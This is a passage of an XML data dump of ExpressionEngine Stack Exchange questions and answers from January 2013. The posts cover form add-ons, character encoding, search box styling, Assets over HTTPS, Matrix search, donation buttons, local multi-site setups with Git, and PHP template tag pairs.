href=&quot;https://expressionengine.stackexchange.com/questions/3603/how-to-create-a-form-and-insert-form-data-to-database-in-expressionengine/4751#4751&quot;&gt;this SE thread&lt;/a&gt; about EE forms.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="734" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-01-14T21:37:25.687" Title="What's the best EE Add-on for multipage / multistep forms?" Tags="|forms|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4754" PostTypeId="2" ParentId="4753" CreationDate="2013-01-14T18:04:13.157" Score="3" Body="&lt;p&gt;The guys at Focuslab have you covered with this article: &lt;a href=&quot;http://focuslabllc.com/blog/form-building-add-ons-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://focuslabllc.com/blog/form-building-add-ons-in-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lays out the major differences between the different form add-ons.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2013-01-14T18:04:13.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4755" PostTypeId="1" CreationDate="2013-01-14T18:06:34.493" Score="1" ViewCount="140" Body="&lt;p&gt;I have an odd problem: Entries wth german umlauts (ä ö ü), in the the title oder anywhere else, will not save. Instead the field will clear and the page will reload. There is no JS validation going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is pretty much the same as described here: &lt;a href=&quot;http://ellislab.com/forums/viewthread/196640/#925586&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/196640/#925586&lt;/a&gt; though i can not fix it just by using php 5.2.x (I run 5.2.14)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extension wise i run navee, wygwam, matrix and multi language support by biber ltd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Umlauts in the wygwam-field are possible if I use the option to encode them to entities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the database this strikes me a bit odd... but I am not the server-admin and can  not test around easily.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;collation_connection:   utf8_general_ci&#xA;collation_database: utf8_unicode_ci&#xA;collation_server:   latin1_swedish_ci&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, guys.&lt;/p&gt;&#xA;" OwnerUserId="465" LastActivityDate="2013-01-15T18:22:10.140" Title="Entry with umlauts will not save" Tags="|ee2|control-panel|multilingual|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4756" PostTypeId="2" ParentId="4753" CreationDate="2013-01-14T18:26:22.077" Score="3" Body="&lt;p&gt;For really complex forms, I use SafeCracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It covers most of your requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users can go &quot;back&quot; to previous steps, as the entry is created as result of step 1, user can return to editing anytime they want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snaptcha (and other anti-spam techniques) are supported, of course. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For form validation, I'm using jQuery validation (built-in validation cannot be used, as the actual entry is split between several forms). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The summary can be shown anytime. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To have notification emailed at proper time, the entry can be submitted with 'Pending' or 'closed' status and changing status to 'open' at final step.&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="28" LastEditDate="2013-01-14T19:43:57.310" LastActivityDate="2013-01-14T19:43:57.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4757" PostTypeId="1" CreationDate="2013-01-14T18:56:50.133" Score="0" ViewCount="128" Body="&lt;p&gt;Perhaps this is a noobish questions but, I am learning EE so here goes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have for my search box on my website. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form channel=&quot;video_tutorials&quot;}&#xA;        &amp;lt;p&amp;gt;&#xA;               &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&#xA;             &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;    {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering, is there a way I can change this appearance on my website. For instance I would like to display the word &quot;search&quot; inside of the input area where a user would enter their search text. I would also like to make the white box longer. Can someone point me in the right direction? Thank you so much!&lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2013-01-14T19:41:46.553" Title="Can I change the appearance of the search box in expression engine?" Tags="|ee2|search|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4758" PostTypeId="1" CreationDate="2013-01-14T19:03:01.707" Score="0" ViewCount="276" Body="&lt;p&gt;I have our main site on a development server which does not have https enabled. Yet I'm noticing the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XMLHttpRequest cannot load https://staging.ginghamsburg.org/?ACT=28. Origin http://staging.ginghamsburg.org is not allowed by Access-Control-Allow-Origin.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My config file handles ssl via the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['SERVER_PORT'] != 443) {&#xA;$config['site_url'] = &quot;http://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;;&#xA;} else {&#xA;$config['site_url'] = &quot;https://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What seems to be happening as a result is that none of the folder contents or subfolders display in the Assets window.&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="28" LastEditDate="2013-01-14T21:27:22.493" LastActivityDate="2013-01-14T21:27:22.493" Title="Assets and XHR (Ajax) requests over https" Tags="|ajax|assets|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4759" PostTypeId="2" ParentId="4757" CreationDate="2013-01-14T19:41:46.553" Score="4" Body="&lt;p&gt;This is quite simple, and why I prefer EE over other systems. It easily allows you to customize your markup anyway you want to. The &lt;code&gt;{exp:search:simple_form}&lt;/code&gt; tag has two parameters to let you target and style the form with CSS (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/simple.html#parameters&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;). &lt;code&gt;form_id&lt;/code&gt; &amp;amp; &lt;code&gt;form_css&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Re: placeholder text for the input, you can add the &lt;code&gt;placeholder&lt;/code&gt; HTML5 attribute to the form. If you want to support older browsers, you will need to do this with JS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form form_id=&quot;my_form&quot; channel=&quot;video_tutorials&quot;}&#xA;        &amp;lt;p&amp;gt;&#xA;               &amp;lt;label for=&quot;keywords&quot;&amp;gt;Search:&amp;lt;/label&amp;gt;&#xA;             &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot; placeholder=&quot;Search...&quot;&amp;gt;&#xA;         &amp;lt;/p&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-14T19:41:46.553" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4760" PostTypeId="2" ParentId="4758" CreationDate="2013-01-14T19:58:51.297" Score="2" Body="&lt;p&gt;Interesting...I added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['SERVER_PORT'] != 443) {&#xA;    $config['assets_site_url'] = &quot;http://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;;&#xA;} else {&#xA;    $config['assets_site_url'] = &quot;https://&quot;.$_SERVER['HTTP_HOST'].&quot;/&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it worked. I wonder why the override was needed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Brandon!&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2013-01-14T19:58:51.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostTypeId="1" CreationDate="2013-01-14T20:47:44.073" Score="6" ViewCount="728" Body="&lt;p&gt;I am using simple search tag in EE, and for some reason, the search results don't show pages in which the search term is in Matrix fields. I do have those fields set to searchable in Matrix so I am very confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my EE template form structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:search:simple_form channel=&quot;disability_topics2&quot; search_in=&quot;everywhere&quot; result_page=&quot;/search&quot; status=&quot;not closed&quot; where=&quot;all&quot; show_expired=&quot;yes&quot; show_future_entries=&quot;yes&quot;}&#xA;Search Site:&lt;br&gt;&#xA;&#xA;&#xA;{/exp:search:simple_form}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the entry publish page I have a Wygwam field for the &quot;main page content&quot; and then a Matrix field with two text areas (which are set to searchable). However, when I do a search, it will pull up entries with search terms in the &quot;main page content&quot; field, but not the Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="791" LastActivityDate="2013-01-15T21:01:58.040" Title="Search in Matrix Fields" Tags="|matrix|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostTypeId="2" ParentId="4761" CreationDate="2013-01-14T21:05:08.307" Score="8" Body="&lt;p&gt;Make sure the Matrix field itself is set to searchable as well as the appropriate Matrix columns (see screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your column wasn’t set to Searchable already, you’ll need to re-save your entries for the change to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MtZQN.jpg&quot; alt=&quot;Matrix Settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="490" LastEditDate="2013-01-15T21:01:58.040" LastActivityDate="2013-01-15T21:01:58.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4763" PostTypeId="2" ParentId="4753" CreationDate="2013-01-14T21:37:25.687" Score="0" Body="&lt;p&gt;Solspace Freeform Pro does multi step forms and although I've never used this aspect of it, it's pretty good.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-14T21:37:25.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4764" PostTypeId="1" CreationDate="2013-01-14T21:44:36.120" Score="-1" ViewCount="227" Body="&lt;p&gt;I want to have a donation button on my site and I was wondering if anyone had any experience using anything that they could suggest to use or not to use like paypal. I have seen some stuff I could buy and was wondering if I had to go this route or if there was a different route. I want something that would protect the people donating of course and not sure if there is something I need to add to provide an extra layer of protection or not. Thanks everyone for your suggestions. &lt;/p&gt;&#xA;" OwnerUserId="626" LastActivityDate="2013-01-15T00:25:54.393" Title="Setting up a donation button" Tags="|ee2|ecommerce|paypal|" AnswerCount="2" CommentCount="1" ClosedDate="2013-01-15T16:13:05.890" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostTypeId="2" ParentId="4764" CreationDate="2013-01-14T21:49:12.323" Score="2" Body="&lt;p&gt;This isn't really an EE question but it's an easy one...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Paypal buttons. Very easy to set up, just copy/paste the code Paypal generates into a template and you're done... unless there is a specific reason you don't want to use Paypal. Your question mentions something &quot;like paypal&quot; but doesn't say you don't want to use Paypal.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-01-14T21:49:12.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4766" PostTypeId="1" AcceptedAnswerId="4991" CreationDate="2013-01-14T22:55:08.247" Score="2" ViewCount="206" Body="&lt;p&gt;I have a very simple Safecracker form, consisting of nothing but an Assets field. (I built it so I could quickly run through all my entries and re-assign images that have all recently been updated.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; limit=&quot;1&quot; disable=&quot;categories|category_fields|member_data&quot;}&#xA;{exp:safecracker channel=&quot;articles&quot; return=&quot;/utilities/illos/&quot; include_jquery=&quot;yes&quot; json=&quot;no&quot; safecracker_head=&quot;yes&quot; class=&quot;editForm&quot; entry_id=&quot;{entry_id}&quot;}&#xA;{field:article_illustration}&#xA;&amp;lt;br&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:safecracker}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Assets widget is working as expected (I can trigger the file chooser, select images, and the thumbnail shows up in the field). The problem is that then saving images does not save the new selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watching events through the inspector, it looks like even though my selection is being visually added to the field, the hidden field never gets populated with the required value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Details: ExpressionEngine v2.5.5; Assets v1.2.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated with more info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run through a few scenarios. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the entry already has an image, and I save without changes, the image stays.&lt;/li&gt;&#xA;&lt;li&gt;If I remove the image and save, the image is removed.&lt;/li&gt;&#xA;&lt;li&gt;I added a title field, and it updates appropriately.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="453" LastEditorUserId="453" LastEditDate="2013-01-15T16:42:45.210" LastActivityDate="2013-01-17T18:00:20.000" Title="Assets and Safecracker — selections not saving?" Tags="|add-on|safecracker|assets|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4767" PostTypeId="2" ParentId="4740" CreationDate="2013-01-14T22:59:27.950" Score="1" Body="&lt;p&gt;Kara,&#xA;We built a site kind of similar to this a couple of years back for an organisation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case we used Structure and then &lt;a href=&quot;http://devot-ee.com/add-ons/entry-access&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-access&lt;/a&gt; to restrict access to the entries. It was a pretty manual process though and no way to really create a micro-site automatically, they initially had to be setup by a general master account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that Taxonomy will also allow you define a 'per tree' access for member groups.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-14T22:59:27.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4768" PostTypeId="1" AcceptedAnswerId="4770" CreationDate="2013-01-14T23:50:20.890" Score="3" ViewCount="175" Body="&lt;p&gt;This first post of mine here at the EESE could perhaps be regarded as a Mamp-problem rather than an EE-thing. But I would very much like to hear from the EE-community on this since replies here probably are a lot more likely to be of use to me then replies elsewhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html#after&quot; rel=&quot;nofollow noreferrer&quot;&gt;The EE-docs suggest moving the systemfolder above web root&lt;/a&gt; for security reasons. The documentation illustrates this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SC9G8.png&quot; alt=&quot;Image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess in Mamp Pro it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nav0R.png&quot; alt=&quot;Image 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to figure out is how do I keep multiple local EE-projects in my htdocs-folder, all with their 'elevated' system-folders above root and still manage to commit and push one project at the time AND the loose system-folder of that project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;/David &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Ooops! Not allowed...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Images I am not allowed to post to illustrate my problem:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Image 1: &lt;a href=&quot;http://d.pr/i/58Mo&quot; rel=&quot;nofollow noreferrer&quot;&gt;link:d.pr/i/58Mo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Image 2: &lt;a href=&quot;http://d.pr/i/7qzv&quot; rel=&quot;nofollow noreferrer&quot;&gt;link://d.pr/i/7qzv&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Tags I meant to apply but was forbidden to:&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mamp&lt;/li&gt;&#xA;&lt;li&gt;systemfolder&lt;/li&gt;&#xA;&lt;li&gt;webroot&lt;/li&gt;&#xA;&lt;li&gt;beanstalk&lt;/li&gt;&#xA;&lt;li&gt;versioncontrol&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="481" LastEditorUserId="252" LastEditDate="2013-01-15T00:36:20.393" LastActivityDate="2022-10-18T21:58:09.697" Title="How does one keep multiple EE-installs with lifted systemfolders on Mamp Pro" Tags="|git|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4769" PostTypeId="2" ParentId="4740" CreationDate="2013-01-14T23:59:29.757" Score="0" Body="&lt;p&gt;You're likely going to need some custom modules to do this.  Structure is sort of designed for this sort of page structuring, but it doesn't work outside of the CP.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there is now way of automating the process without some custom extensions (eg: when creating the member, you want the default &quot;root&quot; page that all other pages descend from to be created automatically).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you could get the the &quot;root&quot; page created, you could use Safe cracker to allow the member to create descendant pages once on that page.  You could have a relationship field that you set using a hidden input on the page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem would come when you want to order them. You would need an &quot;order&quot; text field added to the channel and then use a jQuery order plugin that submits to Safecracker behind the scenes - which is tricky to get right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, there are no existing addons that would let you achieve this quickly since you will need to go down a custom addon route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this could be seen to fall under EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/license.html&quot; rel=&quot;nofollow&quot;&gt;restricted use licence&lt;/a&gt; whereby you are not allowed to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the Software as the basis of a hosted blogging service, or to provide hosting services to others.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Worth bearing in mind.&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2013-01-14T23:59:29.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4770" PostTypeId="2" ParentId="4768" CreationDate="2013-01-15T00:22:39.293" Score="8" Body="&lt;p&gt;I do this exact thing on my local machine and I have over 30 sites setup with it — so don't worry, it is perfectly doable!  I have a MAMP Pro setup using Git &amp;amp; Beanstalk to handle VCS, code hosting and deployment.&lt;/p&gt;&#xA;&lt;p&gt;In order to have the system folder above root, here is an example project folder structure that would work with the system folder moved above root:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;site-1/&#xA;|--www/&#xA;|   |--images/&#xA;|   |--themes/&#xA;|   |--uploads/&#xA;|   |--index.php&#xA;|   |--admin.php&#xA;|--system/&#xA;|   |--codeigniter/&#xA;|   |--expressionengine/&#xA;|   |--index.html&#xA;|   |--index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;I have used &lt;em&gt;www&lt;/em&gt; as a folder name for the root site folder, but you should use whatever your hosting provider uses.  This could be www, public_html, htdocs etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So all has happened here is that the &lt;em&gt;system&lt;/em&gt; has been moved upwards one level.  Of course in order to do this you need to update the system path in &lt;em&gt;index.php&lt;/em&gt; as per the EE Docs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = '../system';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then in MAMP Pro create a new host for this site (Server name &amp;quot;site-1&amp;quot; and set the &amp;quot;disk location&amp;quot; to the &lt;strong&gt;site-1/www/&lt;/strong&gt; folder.  If you are unsure about this, you can &lt;a href=&quot;https://www.youtube.com/watch?v=4hMW8sTFftI&quot; rel=&quot;nofollow noreferrer&quot;&gt;check out this example video&lt;/a&gt; or have a look at the MAMP Pro docs.&lt;/p&gt;&#xA;&lt;p&gt;With the site up and running locally you can then commit the site to a git repository.  I tend to always use the &lt;strong&gt;site-1/&lt;/strong&gt; folder as the root of the git repository.  That way it holds the system folder as well as the &lt;em&gt;www&lt;/em&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Once it is in Git you can send your repo to Beanstalk and have Beanstalk deploy it for you. The trick here is to get beanstalk to deploy your files one folder higher than normal so that when it writes the files in the &lt;strong&gt;www/&lt;/strong&gt; folder, they end up below your site root and can be viewed.&lt;/p&gt;&#xA;&lt;p&gt;Once setup, you have the ease of use MAMP Pro along with the benefits of using Git &amp;amp; Beanstalk for deployments.  You can then start adding multiple projects to your local htdocs folder and creating a new MAMP Host for each site.  You'll end up with a collection of your projects all sat neatly beside each other:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;site-1/&#xA; |--www/&#xA; |--system/&#xA;site-2/&#xA; |--www/&#xA; |--system/&#xA;site-3/&#xA; |--www/&#xA; |--system/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="540" LastEditorUserId="7705" LastEditDate="2022-10-18T21:58:09.697" LastActivityDate="2022-10-18T21:58:09.697" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="4771" PostTypeId="1" AcceptedAnswerId="4773" CreationDate="2013-01-15T00:25:10.230" Score="1" ViewCount="1024" Body="&lt;p&gt;I now have my module working like I need it to and my single tag pair calls the correct function. But I'm wanting to create a tag pair that is common in most modules/plugins. Here is the function I am calling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_photos()&#xA;{&#xA;    $albums = unserialize( $this-&amp;gt;get_setting_value( 'facebook_albums' ) );&#xA;    $limit = intval( $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit') );&#xA;&#xA;    if( is_null( $limit ) || empty( $limit )  )&#xA;    {&#xA;        $limit = 50;&#xA;    }&#xA;&#xA;    $layout = '';&#xA;    $i = 0;&#xA;    foreach( $albums as $album )&#xA;    {&#xA;        $photo_data = $this-&amp;gt;get_facebook_graph_data( $album, 'photos' );&#xA;        foreach( $photo_data-&amp;gt;data as $photo ) {&#xA;            if( $i === $limit )&#xA;            {&#xA;                break;&#xA;            }&#xA;            else {&#xA;                $layout .= sprintf( '&amp;lt;img src=&quot;%s&quot; alt=&quot;%s&quot; rel=&quot;&quot; /&amp;gt;', $photo-&amp;gt;images[5]-&amp;gt;source, @$photo-&amp;gt;name );&#xA;            }&#xA;            $i++;&#xA;        }&#xA;    }&#xA;&#xA;    return $layout;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like my tag pair to look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbphotos:get_photos}&#xA;   &amp;lt;img src=&quot;{source}&quot; alt=&quot;{name} /&amp;gt;&#xA;{/exp:fbphotos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not looking for someone to write all of the code, just a way to map the tags to values and create the loop. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="767" LastActivityDate="2013-01-15T01:17:48.910" Title="Create tag pair variables" Tags="|php|module|tags|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4772" PostTypeId="2" ParentId="4764" CreationDate="2013-01-15T00:25:54.393" Score="1" Body="&lt;p&gt;You can pretty much use whatever service you like. For many nonprofits, we rotate between: &lt;a href=&quot;https://www.paypal.com&quot; rel=&quot;nofollow&quot;&gt;PayPal&lt;/a&gt;, &lt;a href=&quot;http://www1.networkforgood.org&quot; rel=&quot;nofollow&quot;&gt;Network for Good&lt;/a&gt;, &lt;a href=&quot;https://www.justgive.org&quot; rel=&quot;nofollow&quot;&gt;JustGive&lt;/a&gt;, &lt;a href=&quot;http://www.razoo.com&quot; rel=&quot;nofollow&quot;&gt;Razoo&lt;/a&gt;, and &lt;a href=&quot;https://payments.amazon.com/sdui/sdui/business/asp/donations&quot; rel=&quot;nofollow&quot;&gt;Amazon Donations&lt;/a&gt; and custom set-ups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest issue is how much you want to customize and control vs how quickly you want the user to be in and out of the process. Faster process means, the potential donor is less likely to abandon, services like PayPal, Network for Good, Razoo, JustGive work well, and people trust them (mostly). Some are more popular than others, so the trust level may vary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom solutions are always the tricky component, because generally the nonprofit wants as much data as possible and the potential donor wants to give as little data as possible, so a direct conflict of interest to a degree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use just a donate button and jump people to PayPal, or EE's Simple Commerce or Exp:resso's Store to handle donations if you expect to process a fair number of them. Something like Store will give you a dashboard to manage donations and better tracking capabilities even if people give anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you just need a simple, quick, 'Donate' or 'Donate Now' button, any of the services will do, because very little is handled in EE. Just the template that the button will go on and possible a pop-up or overlay button telling people that the transaction will be handled by whichever vendor you select.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-15T00:25:54.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostTypeId="2" ParentId="4771" CreationDate="2013-01-15T01:09:29.787" Score="5" Body="&lt;p&gt;The methods you want to use in order to have a tag pair is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//To loop over multiple items with variables &#xA;//inside each (eg: looping through entries&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($template, $data);&#xA;&#xA;//To show a single item with multiple variables within it&#xA;$this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables_row($template, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Most of the time you will use the &lt;strong&gt;parse_variables&lt;/strong&gt; method, since it allows you to loop through multiple items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first method uses a multidimensional array, which is looped through for each data in each cycle.  The first argument of each is the template data between the tag pair, which in EE can always be retrieved by using: &lt;strong&gt;$this-&gt;EE-&gt;TMPL-&gt;tagdata&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both methods return the finished string, so you would use them in your example as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_photos()&#xA;{&#xA;    $albums = unserialize( $this-&amp;gt;get_setting_value( 'facebook_albums' ) );&#xA;    $limit = intval( $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('limit') );&#xA;&#xA;    if( is_null( $limit ) || empty( $limit )  )&#xA;    {&#xA;        $limit = 50;&#xA;    }&#xA;&#xA;    $layout = '';&#xA;    $i = 0;&#xA;    $data = array();&#xA;    foreach( $albums as $album )&#xA;    {&#xA;        $photo_data = $this-&amp;gt;get_facebook_graph_data( $album, 'photos' );&#xA;        foreach( $photo_data-&amp;gt;data as $photo ) {&#xA;            if( $i === $limit )&#xA;            {&#xA;                break;&#xA;            }&#xA;            else {&#xA;                //Build a multidimensional array, where each sub array&#xA;                //contains data for a single &quot;loop&quot;&#xA;                $data[] = array(&#xA;                    &quot;source&quot; =&amp;gt; $photo-&amp;gt;images[5]-&amp;gt;source, &#xA;                    &quot;name&quot; =&amp;gt; @$photo-&amp;gt;name &#xA;                );&#xA;            }&#xA;            $i++;&#xA;        }&#xA;    }&#xA;&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your template you can then use tag 